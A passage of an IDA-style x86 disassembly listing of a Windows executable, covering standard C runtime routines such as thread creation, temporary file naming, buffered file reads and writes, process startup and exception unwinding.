		cmp	dword ptr [eax+28h], 1
		jle	short loc_41D6A1
		push	8
		push	[esp+4+arg_0]
		push	eax
		call	sub_42013A
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------

loc_41D6A1:				; CODE XREF: sub_41D676+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 8
		retn
sub_41D676	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D6B0	proc near		; CODE XREF: sub_410A3B+248p
					; sub_410A3B+31Bp

arg_0		= dword	ptr  4

		call	sub_4203B6
		mov	eax, [eax+64h]
		cmp	eax, ds:off_433444
		jz	short loc_41D6C5
		call	sub_420342

loc_41D6C5:				; CODE XREF: sub_41D6B0+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41D6DE
		push	107h
		push	[esp+4+arg_0]
		push	eax
		call	sub_42013A
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------

loc_41D6DE:				; CODE XREF: sub_41D6B0+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, word ptr [eax+ecx*2]
		and	eax, 107h
		retn
sub_41D6B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6EF	proc near		; CODE XREF: sub_410068+2Bp
					; sub_4101DB+80p ...

var_18		= byte ptr -18h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	esi, [ebp+arg_0]
		jmp	short loc_41D6FC
; ---------------------------------------------------------------------------

loc_41D6FB:				; CODE XREF: sub_41D6EF+19j
		inc	esi

loc_41D6FC:				; CODE XREF: sub_41D6EF+Aj
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_41D676
		test	eax, eax
		pop	ecx
		jnz	short loc_41D6FB
		push	eax
		push	eax
		push	esi
		call	sub_41C350
		pop	ecx
		push	eax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		call	sub_421710
		fld	qword ptr [eax+10h]
		add	esp, 14h
		pop	esi
		leave
		retn
sub_41D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D727	proc near		; CODE XREF: sub_415008+10p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short locret_41D731
		neg	eax

locret_41D731:				; CODE XREF: sub_41D727+6j
		retn
sub_41D727	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D732	proc near		; CODE XREF: sub_41D732+A1p

arg_0		= dword	ptr  4

		mov	eax, ds:off_433144
		test	eax, eax
		jz	short loc_41D73D
		call	eax ; nullsub_3

loc_41D73D:				; CODE XREF: sub_41D732+7j
		push	esi
		call	sub_4203B6
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41D751
		push	10h
		call	sub_41DC6D
		pop	ecx

loc_41D751:				; CODE XREF: sub_41D732+15j
		push	esi
		call	sub_42056E
		pop	ecx
		push	[esp+4+arg_0]
		call	ds:dword_4291A8	; ExitThread
		pop	esi

loc_41D763:				; DATA XREF: sub_41D7F8+55o
		push	0Ch
		push	offset stru_429630
		call	__SEH_prolog
		push	ds:dword_43357C
		call	ds:dword_4356B0	; TlsGetValue
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41D7A7
		mov	esi, [ebp+8]
		push	esi
		push	ds:dword_43357C
		call	ds:dword_4356B4	; TlsSetValue
		test	eax, eax
		jnz	short loc_41D79D
		push	10h
		call	sub_41DC6D
		pop	ecx

loc_41D79D:				; CODE XREF: sub_41D732+61j
		call	ds:dword_4291A4	; GetCurrentThreadId
		mov	[esi], eax
		jmp	short loc_41D7BD
; ---------------------------------------------------------------------------

loc_41D7A7:				; CODE XREF: sub_41D732+4Dj
		mov	eax, [ebp+8]
		mov	ecx, [eax+4Ch]
		mov	[esi+4Ch], ecx
		mov	ecx, [eax+50h]
		mov	[esi+50h], ecx
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_41D7BD:				; CODE XREF: sub_41D732+73j
		mov	eax, ds:off_433140
		test	eax, eax
		jz	short loc_41D7C8
		call	eax ; nullsub_3

loc_41D7C8:				; CODE XREF: sub_41D732+92j
		and	dword ptr [ebp-4], 0
		push	dword ptr [esi+50h]
		call	dword ptr [esi+4Ch]
		push	eax
		call	sub_41D732

loc_41D7D8:				; DATA XREF: .text:stru_429630o
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-1Ch], ecx
		push	eax
		push	ecx
		call	sub_4217A5
		pop	ecx
		pop	ecx
		retn
sub_41D732	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D7EC	proc near		; DATA XREF: .text:stru_429630o
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-1Ch]
		call	sub_41F66F
		int	3		; Trap to Debugger
sub_41D7EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7F8	proc near		; CODE XREF: sub_416AC4+Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	edi
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		test	edi, edi
		jnz	short loc_41D815
		call	sub_4200B5
		mov	dword ptr [eax], 16h
		xor	eax, eax
		jmp	short loc_41D87F
; ---------------------------------------------------------------------------

loc_41D815:				; CODE XREF: sub_41D7F8+Cj
		push	esi
		push	8Ch
		push	1
		call	sub_421909
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_41D86A
		push	esi
		call	sub_4203A3
		mov	eax, [ebp+arg_C]
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi+50h], eax
		mov	eax, [ebp+arg_14]
		test	eax, eax
		pop	ecx
		mov	[esi+4Ch], edi
		jnz	short loc_41D848
		lea	eax, [ebp+arg_8]

loc_41D848:				; CODE XREF: sub_41D7F8+4Bj
		push	eax
		push	[ebp+arg_10]
		push	esi
		push	offset loc_41D763
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4291A0	; CreateThread
		test	eax, eax
		jnz	short loc_41D87E
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		mov	ebx, eax

loc_41D86A:				; CODE XREF: sub_41D7F8+30j
		push	esi
		call	sub_41C2DD
		test	ebx, ebx
		pop	ecx
		jz	short loc_41D87C
		push	ebx
		call	sub_4200C7
		pop	ecx

loc_41D87C:				; CODE XREF: sub_41D7F8+7Bj
		xor	eax, eax

loc_41D87E:				; CODE XREF: sub_41D7F8+68j
		pop	esi

loc_41D87F:				; CODE XREF: sub_41D7F8+1Bj
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_41D7F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D883	proc near		; CODE XREF: sub_41D92B+35p

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, offset byte_4354D0
		jz	short loc_41D895
		mov	esi, offset dword_4354E0

loc_41D895:				; CODE XREF: sub_41D883+Bj
		push	offset asc_42FDC4 ; "\\"
		push	esi
		call	sub_41C930
		pop	ecx
		lea	eax, [esi+1]
		pop	ecx
		mov	cl, [eax-1]
		cmp	cl, 5Ch
		jz	short loc_41D8B6
		cmp	cl, 2Fh
		jz	short loc_41D8B6
		mov	byte ptr [eax],	5Ch
		inc	eax

loc_41D8B6:				; CODE XREF: sub_41D883+28j
					; sub_41D883+2Dj
		cmp	[esp+4+arg_0], 0
		jz	short loc_41D8C2
		mov	byte ptr [eax],	74h
		jmp	short loc_41D8C5
; ---------------------------------------------------------------------------

loc_41D8C2:				; CODE XREF: sub_41D883+38j
		mov	byte ptr [eax],	73h

loc_41D8C5:				; CODE XREF: sub_41D883+3Dj
		inc	eax
		push	20h
		push	eax
		call	sub_421A46	; GetCurrentProcessId
		push	eax
		call	sub_421A2C
		push	offset a_	; "."
		push	esi
		call	sub_41C940
		add	esp, 14h
		pop	esi
		retn
sub_41D883	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D8E4	proc near		; CODE XREF: sub_41D92B+4Ep

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	2Eh
		push	[ebp+arg_0]
		call	sub_421A4C
		mov	esi, eax
		push	20h
		inc	esi
		push	0
		push	esi
		call	sub_41CC5B
		add	esp, 14h
		inc	eax
		cmp	eax, 7FFFh
		jb	short loc_41D910
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D928
; ---------------------------------------------------------------------------

loc_41D910:				; CODE XREF: sub_41D8E4+25j
		push	20h
		lea	ecx, [ebp+var_4]
		push	ecx
		push	eax
		call	sub_421A2C
		push	eax
		push	esi
		call	sub_41C930
		add	esp, 14h
		xor	eax, eax

loc_41D928:				; CODE XREF: sub_41D8E4+2Aj
		pop	esi
		leave
		retn
sub_41D8E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D92B	proc near		; CODE XREF: .text:00416E72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset stru_429640
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		push	2
		call	sub_41E8E3
		pop	ecx
		test	eax, eax
		jz	loc_41D9D6
		push	2
		call	sub_41E983
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	ds:byte_4354D0,	bl
		jnz	short loc_41D985
		push	ebx
		call	sub_41D883
		pop	ecx
		mov	esi, offset byte_4354D0

loc_41D96B:				; CODE XREF: sub_41D92B+56j
		push	ebx
		push	esi
		call	sub_421B59
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_41D98C

loc_41D978:				; CODE XREF: sub_41D92B+5Fj
		push	esi
		call	sub_41D8E4
		pop	ecx
		test	eax, eax
		jz	short loc_41D96B
		jmp	short loc_41D9CA
; ---------------------------------------------------------------------------

loc_41D985:				; CODE XREF: sub_41D92B+32j
		mov	esi, offset byte_4354D0
		jmp	short loc_41D978
; ---------------------------------------------------------------------------

loc_41D98C:				; CODE XREF: sub_41D92B+4Bj
		mov	edi, [ebp+arg_0]
		cmp	edi, ebx
		jnz	short loc_41D9BE
		call	sub_4203B6
		mov	edi, eax
		mov	[ebp+var_20], edi
		cmp	[edi+2Ch], ebx
		jnz	short loc_41D9B8
		push	0Eh
		call	sub_41D0C4
		pop	ecx
		mov	[edi+2Ch], eax
		cmp	eax, ebx
		jnz	short loc_41D9B8
		mov	edi, esi
		mov	[ebp+arg_0], edi
		jmp	short loc_41D9C7
; ---------------------------------------------------------------------------

loc_41D9B8:				; CODE XREF: sub_41D92B+75j
					; sub_41D92B+84j
		mov	edi, [edi+2Ch]
		mov	[ebp+arg_0], edi

loc_41D9BE:				; CODE XREF: sub_41D92B+66j
		push	esi
		push	edi
		call	sub_41C930
		pop	ecx
		pop	ecx

loc_41D9C7:				; CODE XREF: sub_41D92B+8Bj
		mov	[ebp+var_1C], edi

loc_41D9CA:				; CODE XREF: sub_41D92B+58j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41D9DC
		mov	eax, [ebp+var_1C]

loc_41D9D6:				; CODE XREF: sub_41D92B+1Bj
		call	__SEH_epilog
		retn
sub_41D92B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9DC	proc near		; CODE XREF: sub_41D92B+A3p
					; DATA XREF: .text:stru_429640o
		push	2
		call	sub_41E8CE
		pop	ecx
		retn
sub_41D9DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D9E5	proc near		; CODE XREF: sub_41DACE+25p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		test	edi, edi
		mov	ecx, edi
		mov	[ebp+var_8], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41DA09
		xor	eax, eax
		jmp	loc_41DAB4
; ---------------------------------------------------------------------------

loc_41DA09:				; CODE XREF: sub_41D9E5+1Bj
		push	esi
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DA1D
		mov	eax, [esi+18h]
		mov	[ebp+var_4], eax
		jmp	short loc_41DA29
; ---------------------------------------------------------------------------

loc_41DA1D:				; CODE XREF: sub_41D9E5+2Ej
		mov	[ebp+var_4], 1000h
		jmp	short loc_41DA29
; ---------------------------------------------------------------------------

loc_41DA26:				; CODE XREF: sub_41D9E5+C5j
		mov	ecx, [ebp+arg_0]

loc_41DA29:				; CODE XREF: sub_41D9E5+36j
					; sub_41D9E5+3Fj
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DA5B
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DA5B
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41DA40
		mov	edi, eax

loc_41DA40:				; CODE XREF: sub_41D9E5+57j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41BC60
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_8]
		jmp	short loc_41DAA6
; ---------------------------------------------------------------------------

loc_41DA5B:				; CODE XREF: sub_41D9E5+4Aj
					; sub_41D9E5+51j
		cmp	ecx, [ebp+var_4]
		jb	short loc_41DA8E
		cmp	[ebp+var_4], 0
		mov	eax, ecx
		jz	short loc_41DA71
		xor	edx, edx
		div	[ebp+var_4]
		mov	eax, ecx
		sub	eax, edx

loc_41DA71:				; CODE XREF: sub_41D9E5+81j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_422197
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DAB8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DAC8
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41DAA6
; ---------------------------------------------------------------------------

loc_41DA8E:				; CODE XREF: sub_41D9E5+79j
		push	esi
		call	sub_421EDB
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DABC
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+var_4], eax

loc_41DAA6:				; CODE XREF: sub_41D9E5+74j
					; sub_41D9E5+A7j
		cmp	[ebp+arg_0], 0
		jnz	loc_41DA26
		mov	eax, [ebp+arg_8]

loc_41DAB3:				; CODE XREF: sub_41D9E5+E1j
		pop	esi

loc_41DAB4:				; CODE XREF: sub_41D9E5+1Fj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41DAB8:				; CODE XREF: sub_41D9E5+9Bj
		or	dword ptr [esi+0Ch], 10h

loc_41DABC:				; CODE XREF: sub_41D9E5+B3j
					; sub_41D9E5+E7j
		mov	eax, edi
		sub	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DAB3
; ---------------------------------------------------------------------------

loc_41DAC8:				; CODE XREF: sub_41D9E5+A0j
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41DABC
sub_41D9E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DACE	proc near		; CODE XREF: .text:00416EFBp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset stru_429650
		call	__SEH_prolog
		push	[ebp+arg_C]
		call	sub_420C80
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D9E5
		add	esp, 10h
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41DB10
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41DACE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB10	proc near		; CODE XREF: sub_41DACE+34p
					; DATA XREF: .text:stru_429650o
		push	dword ptr [ebp+14h]
		call	sub_420CD2
		pop	ecx
		retn
sub_41DB10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB1A	proc near		; CODE XREF: sub_41DC21+25p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	[ebp+var_8], edi
		mov	ebx, edi
		jnz	short loc_41DB3E
		xor	eax, eax
		jmp	loc_41DC09
; ---------------------------------------------------------------------------

loc_41DB3E:				; CODE XREF: sub_41DB1A+1Bj
		push	esi
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB52
		mov	eax, [esi+18h]
		mov	[ebp+var_4], eax
		jmp	short loc_41DB59
; ---------------------------------------------------------------------------

loc_41DB52:				; CODE XREF: sub_41DB1A+2Ej
		mov	[ebp+var_4], 1000h

loc_41DB59:				; CODE XREF: sub_41DB1A+36j
					; sub_41DB1A+E5j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DB8D
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DB8D
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DB73
		mov	edi, eax

loc_41DB73:				; CODE XREF: sub_41DB1A+55j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41BC60
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DBCF
; ---------------------------------------------------------------------------

loc_41DB8D:				; CODE XREF: sub_41DB1A+48j
					; sub_41DB1A+4Fj
		cmp	ebx, [ebp+var_4]
		jb	short loc_41DBD4
		test	ecx, ecx
		jz	short loc_41DBA1
		push	esi
		call	sub_4211A9
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC0D

loc_41DBA1:				; CODE XREF: sub_41DB1A+7Aj
		cmp	[ebp+var_4], 0
		mov	edi, ebx
		jz	short loc_41DBB2
		xor	edx, edx
		mov	eax, ebx
		div	[ebp+var_4]
		sub	edi, edx

loc_41DBB2:				; CODE XREF: sub_41DB1A+8Dj
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_422410
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC18
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC18

loc_41DBCF:				; CODE XREF: sub_41DB1A+71j
		mov	edi, [ebp+var_8]
		jmp	short loc_41DBFD
; ---------------------------------------------------------------------------

loc_41DBD4:				; CODE XREF: sub_41DB1A+76j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		push	esi
		push	eax
		call	sub_41F714
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jz	short loc_41DC0D
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		test	eax, eax
		mov	[ebp+var_4], eax
		jg	short loc_41DBFD
		mov	[ebp+var_4], 1

loc_41DBFD:				; CODE XREF: sub_41DB1A+B8j
					; sub_41DB1A+DAj
		test	ebx, ebx
		jnz	loc_41DB59
		mov	eax, [ebp+arg_8]

loc_41DC08:				; CODE XREF: sub_41DB1A+FCj
		pop	esi

loc_41DC09:				; CODE XREF: sub_41DB1A+1Fj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41DC0D:				; CODE XREF: sub_41DB1A+85j
					; sub_41DB1A+CCj
		mov	eax, edi

loc_41DC0F:				; CODE XREF: sub_41DB1A+105j
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC08
; ---------------------------------------------------------------------------

loc_41DC18:				; CODE XREF: sub_41DB1A+AAj
					; sub_41DB1A+B3j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_8]
		jmp	short loc_41DC0F
sub_41DB1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC21	proc near		; CODE XREF: .text:00416EBBp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset stru_429660
		call	__SEH_prolog
		push	[ebp+arg_C]
		call	sub_420C80
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41DB1A
		add	esp, 10h
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41DC63
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41DC21	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC63	proc near		; CODE XREF: sub_41DC21+34p
					; DATA XREF: .text:stru_429660o
		push	dword ptr [ebp+14h]
		call	sub_420CD2
		pop	ecx
		retn
sub_41DC63	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC6D	proc near		; CODE XREF: sub_41D5E9+Dp
					; sub_41D732+19p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_4354F8, 1
		jnz	short loc_41DC7B
		call	sub_422632

loc_41DC7B:				; CODE XREF: sub_41DC6D+7j
		push	[esp+arg_0]
		call	sub_4224BB
		push	0FFh
		call	ds:off_433110
		pop	ecx
		pop	ecx
		retn
sub_41DC6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC92	proc near		; CODE XREF: start-1C275p start-1C264p

arg_0		= dword	ptr  4

		cmp	ds:dword_4354F8, 1
		jnz	short loc_41DCA0
		call	sub_422632

loc_41DCA0:				; CODE XREF: sub_41DC92+7j
		push	[esp+arg_0]
		call	sub_4224BB
		push	0FFh
		call	sub_41F4D7
		pop	ecx
		pop	ecx
		retn
sub_41DC92	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_41DCB6:				; CODE XREF: start+344j
		push	60h
		push	offset stru_429670
		call	__SEH_prolog
		mov	edi, 94h
		mov	eax, edi
		call	sub_41E090
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[esi], edi
		push	esi
		call	ds:dword_42909C	; GetVersionExA
		mov	ecx, [esi+10h]
		mov	ds:dword_43565C, ecx
		mov	eax, [esi+4]
		mov	ds:dword_435668, eax
		mov	edx, [esi+8]
		mov	ds:dword_43566C, edx
		mov	esi, [esi+0Ch]
		and	esi, 7FFFh
		mov	ds:dword_435660, esi
		cmp	ecx, 2
		jz	short loc_41DD16
		or	esi, 8000h
		mov	ds:dword_435660, esi

loc_41DD16:				; CODE XREF: start-1C2F8j
		shl	eax, 8
		add	eax, edx
		mov	ds:dword_435664, eax
		xor	esi, esi
		push	esi
		mov	edi, ds:dword_4290BC
		call	edi	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DD51
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		cmp	dword ptr [ecx], 4550h
		jnz	short loc_41DD51
		movzx	eax, word ptr [ecx+18h]
		cmp	eax, 10Bh
		jz	short loc_41DD69
		cmp	eax, 20Bh
		jz	short loc_41DD56

loc_41DD51:				; CODE XREF: start-1C2D0j start-1C2C3j ...
		mov	[ebp-1Ch], esi
		jmp	short loc_41DD7D
; ---------------------------------------------------------------------------

loc_41DD56:				; CODE XREF: start-1C2B1j
		cmp	dword ptr [ecx+84h], 0Eh
		jbe	short loc_41DD51
		xor	eax, eax
		cmp	[ecx+0F8h], esi
		jmp	short loc_41DD77
; ---------------------------------------------------------------------------

loc_41DD69:				; CODE XREF: start-1C2B8j
		cmp	dword ptr [ecx+74h], 0Eh
		jbe	short loc_41DD51
		xor	eax, eax
		cmp	[ecx+0E8h], esi

loc_41DD77:				; CODE XREF: start-1C299j
		setnz	al
		mov	[ebp-1Ch], eax

loc_41DD7D:				; CODE XREF: start-1C2ACj
		push	1
		call	sub_41E7DF
		pop	ecx
		test	eax, eax
		jnz	short loc_41DD91
		push	1Ch
		call	sub_41DC92
		pop	ecx

loc_41DD91:				; CODE XREF: start-1C279j
		call	sub_42059D
		test	eax, eax
		jnz	short loc_41DDA2
		push	10h
		call	sub_41DC92
		pop	ecx

loc_41DDA2:				; CODE XREF: start-1C268j
		call	sub_422CBD
		mov	[ebp-4], esi
		call	sub_422ABF
		test	eax, eax
		jge	short loc_41DDBB
		push	1Bh
		call	sub_41DC6D
		pop	ecx

loc_41DDBB:				; CODE XREF: start-1C24Fj
		call	ds:dword_429198	; GetCommandLineA
		mov	ds:dword_4395C0, eax
		call	sub_42299D
		mov	ds:dword_4354F0, eax
		call	sub_4228FB
		test	eax, eax
		jge	short loc_41DDE1
		push	8
		call	sub_41DC6D
		pop	ecx

loc_41DDE1:				; CODE XREF: start-1C229j
		call	sub_4226C8
		test	eax, eax
		jge	short loc_41DDF2
		push	9
		call	sub_41DC6D
		pop	ecx

loc_41DDF2:				; CODE XREF: start-1C218j
		push	1
		call	sub_41F531
		pop	ecx
		mov	[ebp-28h], eax
		cmp	eax, esi
		jz	short loc_41DE08
		push	eax
		call	sub_41DC6D
		pop	ecx

loc_41DE08:				; CODE XREF: start-1C201j
		mov	[ebp-44h], esi
		lea	eax, [ebp-70h]
		push	eax
		call	ds:dword_42919C	; GetStartupInfoA
		call	sub_42266B
		mov	[ebp-20h], eax
		test	byte ptr [ebp-44h], 1
		jz	short loc_41DE29
		movzx	eax, word ptr [ebp-40h]
		jmp	short loc_41DE2C
; ---------------------------------------------------------------------------

loc_41DE29:				; CODE XREF: start-1C1DFj
		push	0Ah
		pop	eax

loc_41DE2C:				; CODE XREF: start-1C1D9j
		push	eax
		push	dword ptr [ebp-20h]
		push	esi
		push	esi
		call	edi	; GetModuleHandleA
		push	eax
		call	sub_4142D6
		mov	edi, eax
		mov	[ebp-2Ch], edi
		cmp	[ebp-1Ch], esi
		jnz	short loc_41DE4A
		push	edi
		call	sub_41F65E

loc_41DE4A:				; CODE XREF: start-1C1BEj
		call	sub_41F680
		jmp	short loc_41DE7C
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_41DE51	proc near		; DATA XREF: .text:stru_429670o
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-24h], ecx
		push	eax
		push	ecx
		call	sub_4217A5
		pop	ecx
		pop	ecx
		retn
sub_41DE51	endp

; ---------------------------------------------------------------------------

loc_41DE65:				; DATA XREF: .text:stru_429670o
		mov	esp, [ebp-18h]
		mov	edi, [ebp-24h]
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_41DE77
		push	edi
		call	sub_41F66F

loc_41DE77:				; CODE XREF: .text:0041DE6Fj
		call	sub_41F68F
; START	OF FUNCTION CHUNK FOR start

loc_41DE7C:				; CODE XREF: start-1C1B1j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, edi
		lea	esp, [ebp-7Ch]
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE8C	proc near		; CODE XREF: sub_41DF84+70p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41DEA4
		push	[ebp+arg_0]
		call	sub_427702	; RtlUnwind

loc_41DEA4:				; DATA XREF: sub_41DE8C+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41DE8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEAC	proc near		; DATA XREF: sub_41DECE+Ao
					; sub_41DF36+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41DECD
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41DECD:				; CODE XREF: sub_41DEAC+10j
		retn
sub_41DEAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DECE	proc near		; CODE XREF: sub_41DF84+7Dp
					; sub_41DF84+D0p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41DEAC
		push	large dword ptr	fs:0
		mov	large fs:0, esp

